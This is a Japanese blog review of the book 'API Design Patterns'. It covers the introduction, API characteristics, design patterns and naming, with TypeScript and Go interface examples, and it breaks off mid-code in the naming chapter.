Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\\"優れた名前こそ最高のドキュメントである\\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels 